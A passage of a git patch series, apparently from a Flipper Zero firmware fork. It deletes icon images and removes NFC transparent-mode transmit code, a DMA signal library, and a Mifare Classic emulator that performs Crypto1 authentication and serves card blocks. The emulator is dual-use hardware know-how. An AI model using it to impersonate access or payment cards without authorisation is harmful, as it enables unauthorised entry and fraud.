zS{~Zx*0(Az^YyC7g{GcMPQL2cac-KRpy277rbR1l7}||a&YUNEg-!1n$^K^oaDR8A6{26`zZuLQCH&4rH({emZfX-Ddag8WRNi0dV zN-jzTQVd20Mn<{@rn-hEAqJ*a#>Q5rrrHJuRzURm)jbpqx%nxXX_dG&c&`ge0%~CJ MboFyt=akR{00vu%od5s; diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_rate b/assets/icons/MainMenu/TouchTunes_14/frame_rate deleted file mode 100644 index e440e5c84..000000000 --- a/assets/icons/MainMenu/TouchTunes_14/frame_rate +++ /dev/null @@ -1 +0,0 @@ -3 \ No newline at end of file diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_1.png b/assets/icons/MainMenu/UniversalRemote_14/frame_1.png deleted file mode 100644 index 8d135853f5ec8f6905074e662b76e8d2bdd4535b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 170 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}DV{ElAsQ36 zPO|1ZV8G$bd+P7{H-0W0H#4oi^d6~6;+WK;pv1uNO!DO0T9!xIDu1PfUK=WxLI)A-h;@|GLAog4MsTe0*o-BgT3T7g19- SlLmdKI;Vst0H}aDT>t<8 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_3.png b/assets/icons/MainMenu/UniversalRemote_14/frame_3.png deleted file mode 100644 index c64bad5f2f2f43005e57613bf0acf6e743a64c90..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 171 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}sh%#5AsQ3s zPV(eCpuoeNd*y$9Wz{05iNP7qCFZcIvjrU3rn0i~+KWjHjQ)+ML>GG>@0)R>cf0SJ zyFm-HMbFuXKI~b$YhsIaPI|b%ME;Cviq-JoMr6)F8KJa%}03m2|J2P TGp2k4TFBt(>gTe~DWM4fkSaY6 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_4.png b/assets/icons/MainMenu/UniversalRemote_14/frame_4.png deleted file mode 100644 index efd7181f0a36490d555a6e16df3bf2c457d592f2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 168 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}NuDl_AsQ36 zP735ZpupkG{qbM;yL|>NTh8g+{C$LJtCR|-qYDGW8N*Aa6Io8$CTvRCnp<+hE&cu0 z!o1+-F!5`1mu<+3o$gh!i0wp3{)ylxUAfV<4X+E-_S+r*UJ$Y|zhIkujl7+h)rISO QfVMGsy85}Sb4q9e00DD6_y7O^ diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_5.png b/assets/icons/MainMenu/UniversalRemote_14/frame_5.png deleted file mode 100644 index 300f00128d067e358fc954204533468eb5efd495..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 169 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}$(}BbAsQ36 zPO{`~duFbQL9S`u-Lk+<4WXrnW^n{sChumK=w57N>#ps$@6P(ZD&ynqR>F>=Ql-zl QfYvd1y85}Sb4q9e0N5=zEdT%j diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_6.png b/assets/icons/MainMenu/UniversalRemote_14/frame_6.png deleted file mode 100644 index 24c349ead5a777f2be43ed17b96ef15b58e20cc4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 165 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}@t!V@AsQ36 z208K_FyLUi{J(zY++7mOubN1zCm$4=GO2|{g^}T?@f(${Qtdejsb^2cY4?2FmdKI;Vst0H}aDT>t<8 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_7.png b/assets/icons/MainMenu/UniversalRemote_14/frame_7.png deleted file mode 100644 index d41a66495a6bc1e308e97112671d73ddc495f5e4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 166 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}37#&FAsQ2p z208K_FyL_7{J(zY+=y9hQTdOrga|f?c^+D@ih*HakDtmUg`d1PKHj+RYIsm+@?P!2 z@Z#pE-mEgQ>$C2yRah2~V0M-Bm&nd$nQ7Jyo)-3Nl~>N2viR!liTkDdEL8s-*gX$u O7lWs(pUXO@geCx08#~tk diff --git a/firmware/targets/f7/furi_hal/furi_hal_nfc.c b/firmware/targets/f7/furi_hal/furi_hal_nfc.c index e6b27573d..768a4bac7 100755 --- a/firmware/targets/f7/furi_hal/furi_hal_nfc.c +++ b/firmware/targets/f7/furi_hal/furi_hal_nfc.c @@ -1,12 +1,9 @@ #include "furi_hal_nfc.h" #include -#include #include #include #include - -#include -#include +#include #define TAG "FuriHalNfc" @@ -397,80 +394,6 @@ ReturnCode furi_hal_nfc_data_exchange( return ret; } -static bool furi_hal_nfc_transparent_tx_rx(FuriHalNfcTxRxContext* tx_rx, uint16_t timeout_ms) { - furi_assert(tx_rx->nfca_signal); - - platformDisableIrqCallback(); - - bool ret = false; - - // Start transparent mode - st25r3916ExecuteCommand(ST25R3916_CMD_TRANSPARENT_MODE); - // Reconfigure gpio - furi_hal_spi_bus_handle_deinit(&furi_hal_spi_bus_handle_nfc); - furi_hal_gpio_init(&gpio_spi_r_sck, GpioModeInput, GpioPullUp, GpioSpeedLow); - furi_hal_gpio_init(&gpio_spi_r_miso, GpioModeInput, GpioPullUp, GpioSpeedLow); - furi_hal_gpio_init(&gpio_nfc_cs, GpioModeInput, GpioPullUp, GpioSpeedLow); - furi_hal_gpio_init(&gpio_spi_r_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_write(&gpio_spi_r_mosi, false); - - // Send signal - nfca_signal_encode(tx_rx->nfca_signal, tx_rx->tx_data, tx_rx->tx_bits / 8, tx_rx->tx_parity); - digital_signal_send(tx_rx->nfca_signal->tx_signal, &gpio_spi_r_mosi); - furi_hal_gpio_write(&gpio_spi_r_mosi, false); - - // Configure gpio back to SPI and exit transparent - furi_hal_spi_bus_handle_init(&furi_hal_spi_bus_handle_nfc); - st25r3916ExecuteCommand(ST25R3916_CMD_UNMASK_RECEIVE_DATA); - - // Manually wait for interrupt - furi_hal_gpio_init(&gpio_rfid_pull, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh); - st25r3916ClearAndEnableInterrupts(ST25R3916_IRQ_MASK_RXE); - - uint32_t irq = 0; - uint8_t rxe = 0; - uint32_t start = DWT->CYCCNT; - while(true) { - if(furi_hal_gpio_read(&gpio_rfid_pull) == true) { - st25r3916ReadRegister(ST25R3916_REG_IRQ_MAIN, &rxe); - if(rxe & (1 << 4)) { - irq = 1; - break; - } - } - uint32_t timeout = DWT->CYCCNT - start; - if(timeout / furi_hal_delay_instructions_per_microsecond() > timeout_ms * 1000) { - FURI_LOG_D(TAG, "Interrupt waiting timeout"); - break; - } - } - if(irq) { - uint8_t fifo_stat[2]; - st25r3916ReadMultipleRegisters( - ST25R3916_REG_FIFO_STATUS1, fifo_stat, ST25R3916_FIFO_STATUS_LEN); - uint16_t len = - ((((uint16_t)fifo_stat[1] & ST25R3916_REG_FIFO_STATUS2_fifo_b_mask) >> - ST25R3916_REG_FIFO_STATUS2_fifo_b_shift) - << RFAL_BITS_IN_BYTE); - len |= (((uint16_t)fifo_stat[0]) & 0x00FFU); - uint8_t rx[100]; - st25r3916ReadFifo(rx, len); - - tx_rx->rx_bits = len * 8; - memcpy(tx_rx->rx_data, rx, len); - - ret = true; - } else { - FURI_LOG_E(TAG, "Timeout error"); - ret = false; - } - - st25r3916ClearInterrupts(); - platformEnableIrqCallback(); - - return ret; -} - static uint32_t furi_hal_nfc_tx_rx_get_flag(FuriHalNfcTxRxType type) { uint32_t flags = 0; @@ -482,9 +405,6 @@ static uint32_t furi_hal_nfc_tx_rx_get_flag(FuriHalNfcTxRxType type) { } else if(type == FuriHalNfcTxRxTypeRaw) { flags = RFAL_TXRX_FLAGS_CRC_TX_MANUAL | RFAL_TXRX_FLAGS_CRC_RX_KEEP | RFAL_TXRX_FLAGS_PAR_RX_KEEP | RFAL_TXRX_FLAGS_PAR_TX_NONE; - } else if(type == FuriHalNfcTxRxTypeRxRaw) { - flags = RFAL_TXRX_FLAGS_CRC_TX_MANUAL | RFAL_TXRX_FLAGS_CRC_RX_KEEP | - RFAL_TXRX_FLAGS_PAR_RX_KEEP | RFAL_TXRX_FLAGS_PAR_TX_NONE; } return flags; @@ -550,10 +470,6 @@ bool furi_hal_nfc_tx_rx(FuriHalNfcTxRxContext* tx_rx, uint16_t timeout_ms) { uint8_t* temp_rx_buff = NULL; uint16_t* temp_rx_bits = NULL; - if(tx_rx->tx_rx_type == FuriHalNfcTxRxTransparent) { - return furi_hal_nfc_transparent_tx_rx(tx_rx, timeout_ms); - } - // Prepare data for FIFO if necessary uint32_t flags = furi_hal_nfc_tx_rx_get_flag(tx_rx->tx_rx_type); if(tx_rx->tx_rx_type == FuriHalNfcTxRxTypeRaw) { @@ -586,8 +502,7 @@ bool furi_hal_nfc_tx_rx(FuriHalNfcTxRxContext* tx_rx, uint16_t timeout_ms) { osDelay(1); } - if(tx_rx->tx_rx_type == FuriHalNfcTxRxTypeRaw || - tx_rx->tx_rx_type == FuriHalNfcTxRxTypeRxRaw) { + if(tx_rx->tx_rx_type == FuriHalNfcTxRxTypeRaw) { tx_rx->rx_bits = 8 * furi_hal_nfc_bitstream_to_data_and_parity( temp_rx_buff, *temp_rx_bits, tx_rx->rx_data, tx_rx->rx_parity); } else { diff --git a/firmware/targets/furi_hal_include/furi_hal_nfc.h b/firmware/targets/furi_hal_include/furi_hal_nfc.h index 860db80de..20a469002 100755 --- a/firmware/targets/furi_hal_include/furi_hal_nfc.h +++ b/firmware/targets/furi_hal_include/furi_hal_nfc.h @@ -10,8 +10,6 @@ #include #include -#include - #ifdef __cplusplus extern "C" { #endif @@ -41,8 +39,6 @@ typedef enum { FuriHalNfcTxRxTypeRxNoCrc, FuriHalNfcTxRxTypeRxKeepPar, FuriHalNfcTxRxTypeRaw, - FuriHalNfcTxRxTypeRxRaw, - FuriHalNfcTxRxTransparent, } FuriHalNfcTxRxType; typedef bool (*FuriHalNfcEmulateCallback)( @@ -84,7 +80,6 @@ typedef struct { uint8_t rx_parity[FURI_HAL_NFC_PARITY_BUFF_SIZE]; uint16_t rx_bits; FuriHalNfcTxRxType tx_rx_type; - NfcaSignal* nfca_signal; } FuriHalNfcTxRxContext; /** Init nfc diff --git a/lib/digital_signal/digital_signal.c b/lib/digital_signal/digital_signal.c deleted file mode 100644 index b9be3b602..000000000 --- a/lib/digital_signal/digital_signal.c +++ /dev/null @@ -1,173 +0,0 @@ -#include "digital_signal.h" - -#include -#include -#include -#include - -#define F_TIM (64000000.0) -#define T_TIM (1.0 / F_TIM) - -#define MAX_ARR_BUFF_SIZE (10000) - -// TODO rework with dynamic allocation -static uint32_t digital_signal_arr_buff[MAX_ARR_BUFF_SIZE]; - -DigitalSignal* digital_signal_alloc(uint32_t max_edges_cnt) { - DigitalSignal* signal = malloc(sizeof(DigitalSignal)); - signal->start_level = true; - signal->edges_max_cnt = max_edges_cnt; - signal->edge_timings = malloc(max_edges_cnt * sizeof(float)); - signal->edge_cnt = 0; - - return signal; -} - -void digital_signal_free(DigitalSignal* signal) { - furi_assert(signal); - - free(signal->edge_timings); - free(signal); -} - -bool digital_signal_append(DigitalSignal* signal_a, DigitalSignal* signal_b) { - furi_assert(signal_a); - furi_assert(signal_b); - - if(signal_a->edges_max_cnt < signal_a->edge_cnt + signal_b->edge_cnt) { - return false; - } - - bool end_level = signal_a->start_level ^ !(signal_a->edge_cnt % 2); - uint8_t start_copy = 0; - if(end_level == signal_b->start_level) { - if(signal_a->edge_cnt) { - signal_a->edge_timings[signal_a->edge_cnt - 1] += signal_b->edge_timings[0]; - } else { - signal_a->edge_timings[signal_a->edge_cnt] += signal_b->edge_timings[0]; - } - start_copy += 1; - } - memcpy( - &signal_a->edge_timings[signal_a->edge_cnt], - &signal_b->edge_timings[start_copy], - (signal_b->edge_cnt - start_copy) * sizeof(float)); - signal_a->edge_cnt += signal_b->edge_cnt - start_copy; - - return true; -} - -bool digital_signal_get_start_level(DigitalSignal* signal) { - furi_assert(signal); - - return signal->start_level; -} - -uint32_t digital_signal_get_edges_cnt(DigitalSignal* signal) { - furi_assert(signal); - - return signal->edge_cnt; -} - -float digital_signal_get_edge(DigitalSignal* signal, uint32_t edge_num) { - furi_assert(signal); - furi_assert(edge_num < signal->edge_cnt); - - return signal->edge_timings[edge_num]; -} - -static void digital_signal_prepare_arr(DigitalSignal* signal, uint32_t* arr) { - float t_signal = 0; - float t_current = 0; - float r = 0; - float r_int = 0; - float r_dec = 0; - - for(size_t i = 0; i < signal->edge_cnt - 1; i++) { - t_signal += signal->edge_timings[i]; - r = (t_signal - t_current) / T_TIM; - r_dec = modff(r, &r_int); - if(r_dec < 0.5f) { - arr[i] = (uint32_t)r_int - 1; - } else { - arr[i] = (uint32_t)r_int; - } - t_current += (arr[i] + 1) * T_TIM; - } -} - -bool digital_signal_send(DigitalSignal* signal, const GpioPin* gpio) { - furi_assert(signal); - furi_assert(gpio); - - // Configure gpio as output - furi_hal_gpio_init(gpio, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - - // Init gpio buffer and DMA channel - uint16_t gpio_reg = gpio->port->ODR; - uint16_t gpio_buff[2]; - if(signal->start_level) { - gpio_buff[0] = gpio_reg | gpio->pin; - gpio_buff[1] = gpio_reg & ~(gpio->pin); - } else { - gpio_buff[0] = gpio_reg & ~(gpio->pin); - gpio_buff[1] = gpio_reg | gpio->pin; - } - LL_DMA_InitTypeDef dma_config = {}; - dma_config.MemoryOrM2MDstAddress = (uint32_t)gpio_buff; - dma_config.PeriphOrM2MSrcAddress = (uint32_t) & (gpio->port->ODR); - dma_config.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; - dma_config.Mode = LL_DMA_MODE_CIRCULAR; - dma_config.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; - dma_config.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; - dma_config.PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_HALFWORD; - dma_config.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_HALFWORD; - dma_config.NbData = 2; - dma_config.PeriphRequest = LL_DMAMUX_REQ_TIM2_UP; - dma_config.Priority = LL_DMA_PRIORITY_VERYHIGH; - LL_DMA_Init(DMA1, LL_DMA_CHANNEL_1, &dma_config); - LL_DMA_SetDataLength(DMA1, LL_DMA_CHANNEL_1, 2); - LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_1); - - // Init timer arr register buffer and DMA channel - digital_signal_prepare_arr(signal, digital_signal_arr_buff); - dma_config.MemoryOrM2MDstAddress = (uint32_t)digital_signal_arr_buff; - dma_config.PeriphOrM2MSrcAddress = (uint32_t) & (TIM2->ARR); - dma_config.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; - dma_config.Mode = LL_DMA_MODE_NORMAL; - dma_config.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; - dma_config.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; - dma_config.PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_WORD; - dma_config.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_WORD; - dma_config.NbData = signal->edge_cnt - 2; - dma_config.PeriphRequest = LL_DMAMUX_REQ_TIM2_UP; - dma_config.Priority = LL_DMA_PRIORITY_HIGH; - LL_DMA_Init(DMA1, LL_DMA_CHANNEL_2, &dma_config); - LL_DMA_SetDataLength(DMA1, LL_DMA_CHANNEL_2, signal->edge_cnt - 2); - LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_2); - - // Set up timer - LL_TIM_SetCounterMode(TIM2, LL_TIM_COUNTERMODE_UP); - LL_TIM_SetClockDivision(TIM2, LL_TIM_CLOCKDIVISION_DIV1); - LL_TIM_SetPrescaler(TIM2, 0); - LL_TIM_SetAutoReload(TIM2, 10); - LL_TIM_SetCounter(TIM2, 0); - LL_TIM_EnableUpdateEvent(TIM2); - LL_TIM_EnableDMAReq_UPDATE(TIM2); - - // Start transactions - LL_TIM_GenerateEvent_UPDATE(TIM2); // Do we really need it? - LL_TIM_EnableCounter(TIM2); - - while(!LL_DMA_IsActiveFlag_TC2(DMA1)) - ; - - LL_DMA_ClearFlag_TC1(DMA1); - LL_DMA_ClearFlag_TC2(DMA1); - LL_TIM_DisableCounter(TIM2); - LL_TIM_SetCounter(TIM2, 0); - LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_1); - LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_2); - - return true; -} diff --git a/lib/digital_signal/digital_signal.h b/lib/digital_signal/digital_signal.h deleted file mode 100644 index 3b3ad77f7..000000000 --- a/lib/digital_signal/digital_signal.h +++ /dev/null @@ -1,28 +0,0 @@ -#pragma once - -#include -#include -#include - -#include - -typedef struct { - bool start_level; - uint32_t edge_cnt; - uint32_t edges_max_cnt; - float* edge_timings; -} DigitalSignal; - -DigitalSignal* digital_signal_alloc(uint32_t max_edges_cnt); - -void digital_signal_free(DigitalSignal* signal); - -bool digital_signal_append(DigitalSignal* signal_a, DigitalSignal* signal_b); - -bool digital_signal_get_start_level(DigitalSignal* signal); - -uint32_t digital_signal_get_edges_cnt(DigitalSignal* signal); - -float digital_signal_get_edge(DigitalSignal* signal, uint32_t edge_num); - -bool digital_signal_send(DigitalSignal* signal, const GpioPin* gpio); diff --git a/lib/lib.mk b/lib/lib.mk index 43f4a1a25..cb58fadeb 100644 --- a/lib/lib.mk +++ b/lib/lib.mk @@ -95,11 +95,6 @@ C_SOURCES += $(wildcard $(LIB_DIR)/toolbox/*/*.c) CPP_SOURCES += $(wildcard $(LIB_DIR)/toolbox/*.cpp) CPP_SOURCES += $(wildcard $(LIB_DIR)/toolbox/*/*.cpp) -# Digital signal -CFLAGS += -I$(LIB_DIR)/digital_signal -C_SOURCES += $(wildcard $(LIB_DIR)/digital_signal/*.c) - - # USB Stack CFLAGS += -I$(LIB_DIR)/libusb_stm32/inc C_SOURCES += $(LIB_DIR)/libusb_stm32/src/usbd_stm32wb55_devfs.c diff --git a/lib/nfc_protocols/crypto1.c b/lib/nfc_protocols/crypto1.c index f08164ba9..469b0de09 100644 --- a/lib/nfc_protocols/crypto1.c +++ b/lib/nfc_protocols/crypto1.c @@ -58,7 +58,7 @@ uint8_t crypto1_byte(Crypto1* crypto1, uint8_t in, int is_encrypted) { return out; } -uint32_t crypto1_word(Crypto1* crypto1, uint32_t in, int is_encrypted) { +uint8_t crypto1_word(Crypto1* crypto1, uint32_t in, int is_encrypted) { furi_assert(crypto1); uint32_t out = 0; for(uint8_t i = 0; i < 32; i++) { diff --git a/lib/nfc_protocols/crypto1.h b/lib/nfc_protocols/crypto1.h index 07b39c22c..aaa2470c7 100644 --- a/lib/nfc_protocols/crypto1.h +++ b/lib/nfc_protocols/crypto1.h @@ -16,7 +16,7 @@ uint8_t crypto1_bit(Crypto1* crypto1, uint8_t in, int is_encrypted); uint8_t crypto1_byte(Crypto1* crypto1, uint8_t in, int is_encrypted); -uint32_t crypto1_word(Crypto1* crypto1, uint32_t in, int is_encrypted); +uint8_t crypto1_word(Crypto1* crypto1, uint32_t in, int is_encrypted); uint32_t crypto1_filter(uint32_t in); diff --git a/lib/nfc_protocols/mifare_classic.c b/lib/nfc_protocols/mifare_classic.c index 087fc74c9..ace37bff3 100644 --- a/lib/nfc_protocols/mifare_classic.c +++ b/lib/nfc_protocols/mifare_classic.c @@ -311,118 +311,3 @@ uint8_t mf_classic_read_card( return sectors_read; } - -bool mf_classic_emulator(MfClassicEmulator* emulator, FuriHalNfcTxRxContext* tx_rx) { - furi_assert(emulator); - furi_assert(tx_rx); - - // Get first frame - tx_rx->tx_bits = 0; - tx_rx->tx_rx_type = FuriHalNfcTxRxTypeDefault; - furi_hal_nfc_tx_rx(tx_rx, 300); - - // TODO support all commands - uint8_t cmd = tx_rx->rx_data[0]; - if(!(cmd == 0x60 || cmd == 0x61)) { - FURI_LOG_E(TAG, "Unsupported command"); - return false; - } - uint8_t block = tx_rx->rx_data[1]; - uint64_t key = 0; - // TODO Now works only for 1k!!! - uint8_t sector_trailer_block = block | 0x03; - MfClassicSectorTrailer* sector_trailer = - (MfClassicSectorTrailer*)emulator->data.block[sector_trailer_block].value; - if(cmd & 0x01) { - key = nfc_util_bytes2num(sector_trailer->key_b, 6); - } else { - key = nfc_util_bytes2num(sector_trailer->key_a, 6); - } - - uint32_t nonce = prng_successor(DWT->CYCCNT, 32); - uint8_t nt[4]; - uint8_t nt_keystream[4]; - nfc_util_num2bytes(nonce, 4, nt); - nfc_util_num2bytes(nonce ^ emulator->cuid, 4, nt_keystream); - crypto1_init(&emulator->crypto, key); - crypto1_word(&emulator->crypto, emulator->cuid ^ nonce, 0); - - memcpy(tx_rx->tx_data, nt, sizeof(nt)); - tx_rx->tx_bits = sizeof(nt) * 8; - tx_rx->tx_rx_type = FuriHalNfcTxRxTypeRxRaw; - if(!furi_hal_nfc_tx_rx(tx_rx, 500)) { - FURI_LOG_E(TAG, "Error in 1st data exchange"); - return false; - } - - if(tx_rx->rx_bits != 64) { - FURI_LOG_E(TAG, "Incorrect nr + ar"); - return false; - } - - uint32_t nr = nfc_util_bytes2num(tx_rx->rx_data, 4); - uint32_t ar = nfc_util_bytes2num(&tx_rx->rx_data[4], 4); - crypto1_word(&emulator->crypto, nr, 1); - uint32_t cardRr = ar ^ crypto1_word(&emulator->crypto, 0, 0); - if(cardRr != prng_successor(nonce, 64)) { - FURI_LOG_E(TAG, "Wrong AUTH! %08X != %08X", cardRr, prng_successor(nonce, 64)); - // Don't send NACK, as tag don't send it - return false; - } - - uint32_t ans = prng_successor(nonce, 96); - uint8_t responce[4] = {}; - nfc_util_num2bytes(ans, 4, responce); - tx_rx->tx_parity[0] = 0; - for(uint8_t i = 0; i < 4; i++) { - tx_rx->tx_data[i] = crypto1_byte(&emulator->crypto, 0, 0) ^ responce[i]; - tx_rx->tx_parity[0] |= - (((crypto1_filter(emulator->crypto.odd) ^ nfc_util_odd_parity8(responce[i])) & 0x01) - << (7 - (i & 0x0007))); - } - - tx_rx->tx_bits = 8 * 4; - tx_rx->tx_rx_type = FuriHalNfcTxRxTransparent; - - if(!furi_hal_nfc_tx_rx(tx_rx, 500)) { - FURI_LOG_E(TAG, "Error in 2nd data exchange"); - return false; - } - - uint8_t decrypted_cmd[4] = {}; - for(uint8_t i = 0; i < 4; i++) { - decrypted_cmd[i] = crypto1_byte(&emulator->crypto, 0, 0) ^ tx_rx->rx_data[i]; - } - - // FURI_LOG_I(TAG, "Decrypted: %02X %02X", decrypted_cmd[0], decrypted_cmd[1]); - if(decrypted_cmd[0] != 0x30) { - FURI_LOG_W(TAG, "Not read command"); - return false; - } - uint16_t block_num = decrypted_cmd[1]; - - // Send 0 block - uint8_t block_data[18] = {}; - memcpy(block_data, emulator->data.block[block_num].value, MF_CLASSIC_BLOCK_SIZE); - nfca_append_crc16(block_data, 16); - tx_rx->tx_parity[0] = 0; - tx_rx->tx_parity[1] = 0; - tx_rx->tx_parity[2] = 0; - - for(uint8_t i = 0; i < 18; i++) { - tx_rx->tx_data[i] = crypto1_byte(&emulator->crypto, 0, 0) ^ block_data[i]; - tx_rx->tx_parity[i >> 3] |= - (((crypto1_filter(emulator->crypto.odd) ^ nfc_util_odd_parity8(block_data[i])) & 0x01) - << (7 - (i & 0x0007))); - } - - tx_rx->tx_bits = 18 * 8; - tx_rx->tx_rx_type = FuriHalNfcTxRxTransparent; - - if(!furi_hal_nfc_tx_rx(tx_rx, 500)) { - FURI_LOG_E(TAG, "Error in Block emulation data exchange"); - return false; - } - - return false; -} diff --git a/lib/nfc_protocols/mifare_classic.h b/lib/nfc_protocols/mifare_classic.h index bfb0918c2..fa778b771 100644 --- a/lib/nfc_protocols/mifare_classic.h +++ b/lib/nfc_protocols/mifare_classic.h @@ -65,12 +65,6 @@ typedef struct { MfClassicSectorReader sector_reader[MF_CLASSIC_SECTORS_MAX]; } MfClassicReader; -typedef struct { - uint32_t cuid; - Crypto1 crypto; - MfClassicData data; -} MfClassicEmulator; - bool mf_classic_check_card_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK); bool mf_classic_get_type( @@ -106,5 +100,3 @@ uint8_t mf_classic_read_card( FuriHalNfcTxRxContext* tx_rx, MfClassicReader* reader, MfClassicData* data); - -bool mf_classic_emulator(MfClassicEmulator* emulator, FuriHalNfcTxRxContext* tx_rx); diff --git a/lib/nfc_protocols/nfca.c b/lib/nfc_protocols/nfca.c index 1ee584067..81a6ddfcc 100755 --- a/lib/nfc_protocols/nfca.c +++ b/lib/nfc_protocols/nfca.c @@ -1,17 +1,11 @@ #include "nfca.h" #include #include -#include #define NFCA_CMD_RATS (0xE0U) #define NFCA_CRC_INIT (0x6363) -#define NFCA_F_SIG (13560000.0) -#define NFCA_T_SIG (1.0 / NFCA_F_SIG) - -#define NFCA_SIGNAL_MAX_EDGES (1500) - typedef struct { uint8_t cmd; uint8_t param; @@ -59,69 +53,3 @@ bool nfca_emulation_handler( return sleep; } - -static void nfca_add_bit(DigitalSignal* signal, bool bit) { - if(bit) { - signal->start_level = true; - for(size_t i = 0; i < 7; i++) { - signal->edge_timings[i] = 8 * NFCA_T_SIG; - } - signal->edge_timings[7] = 9 * 8 * NFCA_T_SIG; - signal->edge_cnt = 8; - } else { - signal->start_level = false; - signal->edge_timings[0] = 8 * 8 * NFCA_T_SIG; - for(size_t i = 1; i < 9; i++) { - signal->edge_timings[i] = 8 * NFCA_T_SIG; - } - signal->edge_cnt = 9; - } -} - -static void nfca_add_byte(NfcaSignal* nfca_signal, uint8_t byte, bool parity) { - for(uint8_t i = 0; i < 8; i++) { - if(byte & (1 << i)) { - digital_signal_append(nfca_signal->tx_signal, nfca_signal->one); - } else { - digital_signal_append(nfca_signal->tx_signal, nfca_signal->zero); - } - } - if(parity) { - digital_signal_append(nfca_signal->tx_signal, nfca_signal->one); - } else { - digital_signal_append(nfca_signal->tx_signal, nfca_signal->zero); - } -} - -NfcaSignal* nfca_signal_alloc() { - NfcaSignal* nfca_signal = malloc(sizeof(NfcaSignal)); - nfca_signal->one = digital_signal_alloc(10); - nfca_signal->zero = digital_signal_alloc(10); - nfca_add_bit(nfca_signal->one, true); - nfca_add_bit(nfca_signal->zero, false); - nfca_signal->tx_signal = digital_signal_alloc(NFCA_SIGNAL_MAX_EDGES); - - return nfca_signal; -} - -void nfca_signal_free(NfcaSignal* nfca_signal) { - furi_assert(nfca_signal); - - digital_signal_free(nfca_signal->one); - digital_signal_free(nfca_signal->zero); - free(nfca_signal); -} - -void nfca_signal_encode(NfcaSignal* nfca_signal, uint8_t* data, uint16_t len, uint8_t* parity) { - furi_assert(nfca_signal); - furi_assert(data); - furi_assert(parity); - - nfca_signal->tx_signal->edge_cnt = 0; - nfca_signal->tx_signal->start_level = false; - // Start of frame - digital_signal_append(nfca_signal->tx_signal, nfca_signal->one); - for(size_t i = 0; i < len; i++) { - nfca_add_byte(nfca_signal, data[i], parity[i / 8] & (1 << (7 - (i & 0x07)))); - } -} diff --git a/lib/nfc_protocols/nfca.h b/lib/nfc_protocols/nfca.h index 48d980328..73e2e65e0 100644 --- a/lib/nfc_protocols/nfca.h +++ b/lib/nfc_protocols/nfca.h @@ -3,14 +3,6 @@ #include #include -#include - -typedef struct { - DigitalSignal* one; - DigitalSignal* zero; - DigitalSignal* tx_signal; -} NfcaSignal; - uint16_t nfca_get_crc16(uint8_t* buff, uint16_t len); void nfca_append_crc16(uint8_t* buff, uint16_t len); @@ -20,9 +12,3 @@ bool nfca_emulation_handler( uint16_t buff_rx_len, uint8_t* buff_tx, uint16_t* buff_tx_len); - -NfcaSignal* nfca_signal_alloc(); - -void nfca_signal_free(NfcaSignal* nfca_signal); - -void nfca_signal_encode(NfcaSignal* nfca_signal, uint8_t* data, uint16_t len, uint8_t* parity); From 7892526f8401aa11be2e00ccd634d2a5e7331bcf Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 19 May 2022 20:18:33 +0300 Subject: [PATCH 189/461] Update sesproject --- sesproject | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sesproject b/sesproject index ff16e1176..c4fe63f83 160000 --- a/sesproject +++ b/sesproject @@ -1 +1 @@ -Subproject commit ff16e11762a7df15982e5446d2bdde620334ebb2 +Subproject commit c4fe63f83b829491a38aa8e6e59fa64ac7f8f95b From b9d255d889c239a5f9fc306f60f04864c6b72641 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 19 May 2022 20:54:37 +0300 Subject: [PATCH 190/461] fetch upstream --- applications/bt/bt_service/bt.c | 2 +- applications/desktop/helpers/pin_lock.c | 5 +- .../desktop/views/desktop_view_locked.c | 4 +- applications/gpio/scenes/gpio_scene_start.c | 4 +- .../scenes/ibutton_scene_read_crc_error.c | 6 +- .../scenes/ibutton_scene_read_not_key_error.c | 6 +- .../scenes/ibutton_scene_read_success.c | 7 +- .../infrared/view/infrared_progress_view.c | 2 +- applications/power/power_service/power.c | 20 +- .../power/power_service/views/power_off.c | 56 +- .../power/power_service/views/power_off.h | 9 + 